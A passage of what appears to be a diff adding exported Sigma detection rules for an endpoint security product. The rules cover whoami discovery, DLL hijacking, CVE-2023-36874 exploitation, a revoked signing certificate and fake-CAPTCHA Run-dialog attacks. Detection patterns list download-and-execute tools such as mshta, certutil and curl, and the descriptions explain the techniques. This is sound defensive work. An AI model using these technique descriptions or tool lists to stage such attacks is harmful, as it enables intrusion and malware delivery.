'powershell.exe $null -ne (whoami /groups /fo csv | ConvertFrom-Csv | Where-Object {$_.SID -eq \"S-1-5-32-544\"})'\n\n    exclusion_cygwin:\n        Image|endswith: '\\cygwin64\\bin\\whoami.exe'\n        ParentImage|endswith: '\\cygwin64\\bin\\bash.exe'\n\n    exclusion_ancestors:\n        Ancestors|contains:\n            - '\\postgresql-*.*-*-windows-x64.exe|'\n            - '|?:\\VTOM\\ABM\\BIN\\bdaemon.exe|'\n            - '|?:\\Program Files (x86)\\F5 VPN\\f5fpclientW.exe|'\n\n    exclusion_schedule:\n        GrandparentCommandLine: '?:\\Windows\\system32\\svchost.exe -k netsvcs -p -s Schedule'\n\n    condition: all of selection_* and not 1 of filter_* and not 1 of exclusion_*\nlevel: low\nconfidence: weak\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "0a3934f6-2b4c-4fb0-81ea-2601e7665b3a",
+  "rule_name": "Current Username Discovered via Whoami (Windows)",
+  "rule_description": "Detects the execution of whoami.exe.\nThis command is often used by attackers during the discovery phase to discover their user ID, permissions and groups.\nIt is recommended to analyze the parent process and context as well as to correlate this alert with other discovery commands executed around it.\n",
+  "rule_creation_date": "2021-03-15",
+  "rule_modified_date": "2026-03-16",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.discovery"
+  ],
+  "rule_technique_tags": [
+    "attack.t1033",
+    "attack.t1069"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "0a4830e7-82c9-4ac1-b846-a68dc4caa7ab",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.098031Z",
+  "creation_date": "2026-03-23T11:45:34.098033Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.098037Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://securityintelligence.com/posts/windows-features-dll-sideloading/",
+    "https://github.com/xforcered/WFH",
+    "https://twitter.com/an0n_r0/status/1544472352657915904",
+    "https://attack.mitre.org/techniques/T1574/001/"
+  ],
+  "name": "t1574_001_dll_hijacking_iexpress.yml",
+  "content": "title: DLL Hijacking via IEXPRESS.exe\nid: 0a4830e7-82c9-4ac1-b846-a68dc4caa7ab\ndescription: |\n    Detects potential Windows DLL Hijacking via IEXPRESS.exe.\n    DLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\n    Attackers used this technique by copying a legitimate executable and planting the malicious DLL within the same folder.\n    It is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\nreferences:\n    - https://securityintelligence.com/posts/windows-features-dll-sideloading/\n    - https://github.com/xforcered/WFH\n    - https://twitter.com/an0n_r0/status/1544472352657915904\n    - https://attack.mitre.org/techniques/T1574/001/\ndate: 2022/09/15\nmodified: 2025/07/11\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.persistence\n    - attack.privilege_escalation\n    - attack.t1574.001\n    - classification.Windows.Source.LibraryLoaded\n    - classification.Windows.Behavior.DLLHijacking\n    - classification.Windows.Behavior.DefenseEvasion\nlogsource:\n    product: windows\n    category: library_event\ndetection:\n    selection:\n        ProcessOriginalFileName: 'IEXPRESS.EXE'\n        ProcessSignature: 'Microsoft Windows'\n        ImageLoaded|endswith: '\\version.dll'\n    filter_legitimate_image:\n        Image|startswith:\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_legitimate_imageloaded:\n        ImageLoaded|startswith:\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_signature_imageloaded:\n        Signed: 'true'\n        Signature: 'Microsoft Windows'\n    condition: selection and not 1 of filter_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "0a4830e7-82c9-4ac1-b846-a68dc4caa7ab",
+  "rule_name": "DLL Hijacking via IEXPRESS.exe",
+  "rule_description": "Detects potential Windows DLL Hijacking via IEXPRESS.exe.\nDLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\nAttackers used this technique by copying a legitimate executable and planting the malicious DLL within the same folder.\nIt is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\n",
+  "rule_creation_date": "2022-09-15",
+  "rule_modified_date": "2025-07-11",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion",
+    "attack.persistence",
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1574.001"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "0a4bf049-476a-4f76-b1ff-c92e630ba3ea",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.588153Z",
+  "creation_date": "2026-03-23T11:45:34.588157Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.588165Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows",
+    "https://github.com/xforcered/WFH",
+    "https://redcanary.com/blog/hijack-my-hijack-my-hijack-my-dll/",
+    "https://attack.mitre.org/techniques/T1574/001/"
+  ],
+  "name": "t1574_001_dll_hijacking_label.yml",
+  "content": "title: DLL Hijacking via label.exe\nid: 0a4bf049-476a-4f76-b1ff-c92e630ba3ea\ndescription: |\n    Detects potential Windows DLL Hijacking via label.exe.\n    DLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\n    Attackers used this technique by copying legitimate Windows signed executable from System32 or SysWow64 to a non-standard directory and plant the malicious DLL within the same folder.\n    It is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\nreferences:\n    - https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows\n    - https://github.com/xforcered/WFH\n    - https://redcanary.com/blog/hijack-my-hijack-my-hijack-my-dll/\n    - https://attack.mitre.org/techniques/T1574/001/\ndate: 2021/12/10\nmodified: 2025/07/11\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.persistence\n    - attack.privilege_escalation\n    - attack.t1574.001\n    - classification.Windows.Source.LibraryLoaded\n    - classification.Windows.Behavior.DLLHijacking\n    - classification.Windows.Behavior.DefenseEvasion\nlogsource:\n    product: windows\n    category: library_event\ndetection:\n    selection:\n        ProcessOriginalFileName: 'label.exe'\n        ProcessSignature: 'Microsoft Windows'\n        ImageLoaded|endswith:\n            - '\\DEVOBJ.dll'\n            - '\\ifsutil.dll'\n    filter_legitimate_image:\n        Image|startswith:\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_legitimate_imageloaded:\n        ImageLoaded|startswith:\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_signature_imageloaded:\n        Signed: 'true'\n        Signature: 'Microsoft Windows'\n    condition: selection and not 1 of filter_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "0a4bf049-476a-4f76-b1ff-c92e630ba3ea",
+  "rule_name": "DLL Hijacking via label.exe",
+  "rule_description": "Detects potential Windows DLL Hijacking via label.exe.\nDLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\nAttackers used this technique by copying legitimate Windows signed executable from System32 or SysWow64 to a non-standard directory and plant the malicious DLL within the same folder.\nIt is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\n",
+  "rule_creation_date": "2021-12-10",
+  "rule_modified_date": "2025-07-11",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion",
+    "attack.persistence",
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1574.001"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "0a708087-9ef8-4db8-b5a9-84d30391d776",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.591044Z",
+  "creation_date": "2026-03-23T11:45:34.591047Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.591055Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows",
+    "https://redcanary.com/blog/hijack-my-hijack-my-hijack-my-dll/",
+    "https://attack.mitre.org/techniques/T1574/001/"
+  ],
+  "name": "t1574_001_dll_hijacking_mdsched.yml",
+  "content": "title: DLL Hijacking via mdsched.exe\nid: 0a708087-9ef8-4db8-b5a9-84d30391d776\ndescription: |\n    Detects potential Windows DLL Hijacking via mdsched.exe.\n    DLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\n    Attackers used this technique by copying legitimate Windows signed executable from System32 or SysWow64 to a non-standard directory and plant the malicious DLL within the same folder.\n    It is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\nreferences:\n    - https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows\n    - https://redcanary.com/blog/hijack-my-hijack-my-hijack-my-dll/\n    - https://attack.mitre.org/techniques/T1574/001/\ndate: 2021/12/10\nmodified: 2025/07/11\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.persistence\n    - attack.privilege_escalation\n    - attack.t1574.001\n    - classification.Windows.Source.LibraryLoaded\n    - classification.Windows.Behavior.DLLHijacking\n    - classification.Windows.Behavior.DefenseEvasion\nlogsource:\n    product: windows\n    category: library_event\ndetection:\n    selection:\n        ProcessOriginalFileName: 'mdsched.exe'\n        ProcessSignature: 'Microsoft Windows'\n        ImageLoaded|endswith: '\\bcd.dll'\n    filter_legitimate_image:\n        Image|startswith:\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_legitimate_imageloaded:\n        ImageLoaded|startswith:\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_signature_imageloaded:\n        Signed: 'true'\n        Signature: 'Microsoft Windows'\n    condition: selection and not 1 of filter_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "0a708087-9ef8-4db8-b5a9-84d30391d776",
+  "rule_name": "DLL Hijacking via mdsched.exe",
+  "rule_description": "Detects potential Windows DLL Hijacking via mdsched.exe.\nDLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\nAttackers used this technique by copying legitimate Windows signed executable from System32 or SysWow64 to a non-standard directory and plant the malicious DLL within the same folder.\nIt is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\n",
+  "rule_creation_date": "2021-12-10",
+  "rule_modified_date": "2025-07-11",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion",
+    "attack.persistence",
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1574.001"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "0a956b02-3359-4969-9418-cfa7e8279f9e",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.609800Z",
+  "creation_date": "2026-03-23T11:45:34.609803Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.609811Z",
+  "rule_level": "critical",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://www.crowdstrike.com/blog/falcon-complete-zero-day-exploit-cve-2023-36874/",
+    "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2023-36874",
+    "https://attack.mitre.org/techniques/T1068/"
+  ],
+  "name": "t1068_wer_service_vulnerability.yml",
+  "content": "title: WER Service CVE-2023-36874 Vulnerability Exploited\nid: 0a956b02-3359-4969-9418-cfa7e8279f9e\ndescription: |\n    Detects exploitation of CVE-2023-36874 a vulnerability affecting the Windows Error Reporting (WER) component.\n    Microsoft Windows Error Reporting Service contains a vulnerability that allows a local user, without administrator privileges, to escalate as SYSTEM.\n    It is recommended to investigate if the exploitation was successful by looking at integrity level of the process that triggered the alert.\nreferences:\n    - https://www.crowdstrike.com/blog/falcon-complete-zero-day-exploit-cve-2023-36874/\n    - https://msrc.microsoft.com/update-guide/vulnerability/CVE-2023-36874\n    - https://attack.mitre.org/techniques/T1068/\ndate: 2023/08/24\nmodified: 2025/04/15\nauthor: HarfangLab\ntags:\n    - attack.privilege_escalation\n    - attack.t1068\n    - cve.2023-36874\n    - classification.Windows.Source.ProcessCreation\n    - classification.Windows.Exploit.CVE-2023-36874\n    - classification.Windows.Behavior.PrivilegeEscalation\nlogsource:\n    category: process_creation\n    product: windows\ndetection:\n    selection:\n        Image|endswith: '\\wermgr.exe'\n        # C:\\Windows\\system32\\svchost.exe -k netsvcs -p -s wercplsupport\n        ParentImage: '?:\\Windows\\System32\\svchost.exe'\n        ParentCommandLine|contains: 'wercplsupport'\n\n    filter_signed:\n        OriginalFileName: 'WerMgr'\n        ProcessSigned: 'true'\n        ProcessSignature: 'Microsoft Corporation'\n\n    condition: selection and not 1 of filter_*\nlevel: critical\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "0a956b02-3359-4969-9418-cfa7e8279f9e",
+  "rule_name": "WER Service CVE-2023-36874 Vulnerability Exploited",
+  "rule_description": "Detects exploitation of CVE-2023-36874 a vulnerability affecting the Windows Error Reporting (WER) component.\nMicrosoft Windows Error Reporting Service contains a vulnerability that allows a local user, without administrator privileges, to escalate as SYSTEM.\nIt is recommended to investigate if the exploitation was successful by looking at integrity level of the process that triggered the alert.\n",
+  "rule_creation_date": "2023-08-24",
+  "rule_modified_date": "2025-04-15",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1068"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "0a95ac1e-214e-4581-b19e-5ba1e9731861",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.088105Z",
+  "creation_date": "2026-03-23T11:45:34.088107Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.088111Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://www.mandiant.com/resources/blog/unc2596-cuba-ransomware",
+    "https://attack.mitre.org/techniques/T1553/002/"
+  ],
+  "name": "t1553_002_dicol_effluent_revoked_certificate.yml",
+  "content": "title: Process Executed Signed with Revoked Certificate\nid: 0a95ac1e-214e-4581-b19e-5ba1e9731861\ndescription: |\n    Detects the execution of a process signed using a DICOL EFFLUENT revoked certificates.\n    Malicious usage of this certificate has already been seen by the threat actor UNC2596.\n    It is recommended to terminate processes signed with revoked DICOL EFFLUENT certificates and isolate affected systems.\nreferences:\n    - https://www.mandiant.com/resources/blog/unc2596-cuba-ransomware\n    - https://attack.mitre.org/techniques/T1553/002/\ndate: 2022/09/27\nmodified: 2025/01/14\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.t1553.002\n    - classification.Windows.Source.ProcessCreation\n    - classification.Windows.Behavior.StolenCertificate\nlogsource:\n    category: process_creation\n    product: windows\ndetection:\n    selection:\n        ProcessSignatureSignerThumbprint: '3e22bfc34b0718ee1416cc5bf1f7b2b646f5b56a'\n\n    condition: selection\nlevel: high\nconfidence: strong",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "0a95ac1e-214e-4581-b19e-5ba1e9731861",
+  "rule_name": "Process Executed Signed with Revoked Certificate",
+  "rule_description": "Detects the execution of a process signed using a DICOL EFFLUENT revoked certificates.\nMalicious usage of this certificate has already been seen by the threat actor UNC2596.\nIt is recommended to terminate processes signed with revoked DICOL EFFLUENT certificates and isolate affected systems.\n",
+  "rule_creation_date": "2022-09-27",
+  "rule_modified_date": "2025-01-14",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion"
+  ],
+  "rule_technique_tags": [
+    "attack.t1553.002"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "0ab5a1ee-2e2d-40e4-874a-d5e2f3b74aee",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.623495Z",
+  "creation_date": "2026-03-23T11:45:34.623497Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.623501Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://blog.qualys.com/vulnerabilities-threat-research/2024/10/20/unmasking-lumma-stealer-analyzing-deceptive-tactics-with-fake-captcha",
+    "https://blog.sekoia.io/clickfix-tactic-the-phantom-meet/",
+    "https://www.mcafee.com/blogs/other-blogs/mcafee-labs/behind-the-captcha-a-clever-gateway-of-malware/",
+    "https://harfanglab.io/insidethelab/hijackloader-abusing-genuine-certificates/",
+    "https://attack.mitre.org/techniques/T1566/",
+    "https://attack.mitre.org/techniques/T1204/004/"
+  ],
+  "name": "t1204_001_run_command_explorer.yml",
+  "content": "title: Suspicious Process Executed via Run Prompt\nid: 0ab5a1ee-2e2d-40e4-874a-d5e2f3b74aee\ndescription: |\n    Detects suspicious programs executed via the Windows Run dialog (Win+R) that are initiated after users interact with fake CAPTCHA verification prompts.\n    In this attack vector, users are presented with a fake CAPTCHA verification page displaying an \"I'm not a robot\" checkbox. After clicking the checkbox, users are instructed to execute specific commands via the Windows Run dialog (Win+R). Attackers exploit user trust in familiar verification systems to trick them into manually executing malicious commands, which are usually related to LummaStealer.\n    It is recommended to investigate the entire process chain following any suspicious Run dialog executions.\nreferences:\n    - https://blog.qualys.com/vulnerabilities-threat-research/2024/10/20/unmasking-lumma-stealer-analyzing-deceptive-tactics-with-fake-captcha\n    - https://blog.sekoia.io/clickfix-tactic-the-phantom-meet/\n    - https://www.mcafee.com/blogs/other-blogs/mcafee-labs/behind-the-captcha-a-clever-gateway-of-malware/\n    - https://harfanglab.io/insidethelab/hijackloader-abusing-genuine-certificates/\n    - https://attack.mitre.org/techniques/T1566/\n    - https://attack.mitre.org/techniques/T1204/004/\ndate: 2024/11/12\nmodified: 2026/01/30\nauthor: HarfangLab\ntags:\n    - attack.initial_access\n    - attack.t1566\n    - attack.execution\n    - attack.t1204.004\n    - classification.Windows.Source.ProcessCreation\n    - classification.Windows.Behavior.Phishing\n    - classification.Windows.Behavior.InitialAccess\nlogsource:\n    product: windows\n    category: process_creation\ndetection:\n    selection:\n        StackTrace|re: '(?i).*\\|.:\\\\Windows\\\\System32\\\\user32\\.dll!SendMessageW\\+0x[a-f0-9]*$'\n        StackTrace|contains:\n            - 'CallWindowProcW'\n            - 'DispatchMessageW'\n        ParentImage|endswith: '\\explorer.exe'\n        Image|startswith: '?:\\windows\\'\n        # Ensure commandline containes at least a space -> there are some args\n        CommandLine|contains: ' '\n\n    selection_image:\n        - Image:\n            - '?:\\Windows\\hh.exe'\n            - '?:\\Windows\\System32\\mshta.exe'\n            - '?:\\Windows\\SysWOW64\\mshta.exe'\n            - '?:\\Windows\\System32\\PresentationHost.exe'\n            - '?:\\Windows\\SysWOW64\\PresentationHost.exe'\n            - '?:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe'\n            - '?:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\powershell.exe'\n        - Image:\n            - '?:\\Windows\\System32\\msiexec.exe'\n            - '?:\\Windows\\SysWOW64\\msiexec.exe'\n            - '?:\\windows\\system32\\regsvr32.exe'\n            - '?:\\windows\\SysWOW64\\regsvr32.exe'\n            - '?:\\windows\\system32\\rundll32.exe'\n            - '?:\\windows\\SysWOW64\\rundll32.exe'\n          CommandLine|contains: 'http'\n\n    selection_cmd:\n        Image:\n            - '?:\\Windows\\System32\\cmd.exe'\n            - '?:\\Windows\\SysWOW64\\cmd.exe'\n        CommandLine|contains:\n            - 'mshta'\n            - 'PresentationHost'\n            - 'powershell'\n            - 'msiexec'\n            - 'regsvr32'\n            - 'rundll32'\n            - 'curl'\n            - 'certutil'\n\n    filter_lnk:\n        LnkPath|contains: '?'\n\n    exclusion_powershell:\n        CommandLine:\n            - '?:\\Windows\\system32\\WindowsPowerShell\\v1.0\\PowerShell.exe -noprofile'\n            - '?:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\PowerShell.exe -ExecutionPolicy Bypass'\n            - '?:\\Windows\\system32\\WindowsPowerShell\\v1.0\\PowerShell.exe -ExecutionPolicy Bypass -NoLogo -NoProfile'\n            - '?:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\PowerShell.exe -Command Start-Process PowerShell -Verb RunAs'\n            - '?:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\PowerShell.exe -ExecutionPolicy Bypass -File ?:\\\\*\\Scripts\\\\*.ps1'\n            - '?:\\Windows\\system32\\WindowsPowerShell\\v1.0\\PowerShell.exe -Command Start-Process notepad.exe *'\n\n    exclusion_msiexec:\n        CommandLine|startswith: '?:\\Windows\\system32\\msiexec.exe /* \\\\\\\\*.local\\'\n\n    condition: selection and 1 of selection_* and not 1 of filter_* and not 1 of exclusion_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "0ab5a1ee-2e2d-40e4-874a-d5e2f3b74aee",
+  "rule_name": "Suspicious Process Executed via Run Prompt",
+  "rule_description": "Detects suspicious programs executed via the Windows Run dialog (Win+R) that are initiated after users interact with fake CAPTCHA verification prompts.\nIn this attack vector, users are presented with a fake CAPTCHA verification page displaying an \"I'm not a robot\" checkbox. After clicking the checkbox, users are instructed to execute specific commands via the Windows Run dialog (Win+R). Attackers exploit user trust in familiar verification systems to trick them into manually executing malicious commands, which are usually related to LummaStealer.\nIt is recommended to investigate the entire process chain following any suspicious Run dialog executions.\n",
+  "rule_creation_date": "2024-11-12",
+  "rule_modified_date": "2026-01-30",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.execution",
+    "attack.initial_access"
+  ],
+  "rule_technique_tags": [
+    "attack.t1204.004",
+    "attack.t1566"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "0ab5a1ee-2e2d-40e4-874a-d5e2f3b74fc5",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.093337Z",
+  "creation_date": "2026-03-23T11:45:34.093339Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.093343Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://attack.mitre.org/techniques/T1053/002/"
+  ],
+  "name": "t1053_002_at_scheduler_enabled.yml",
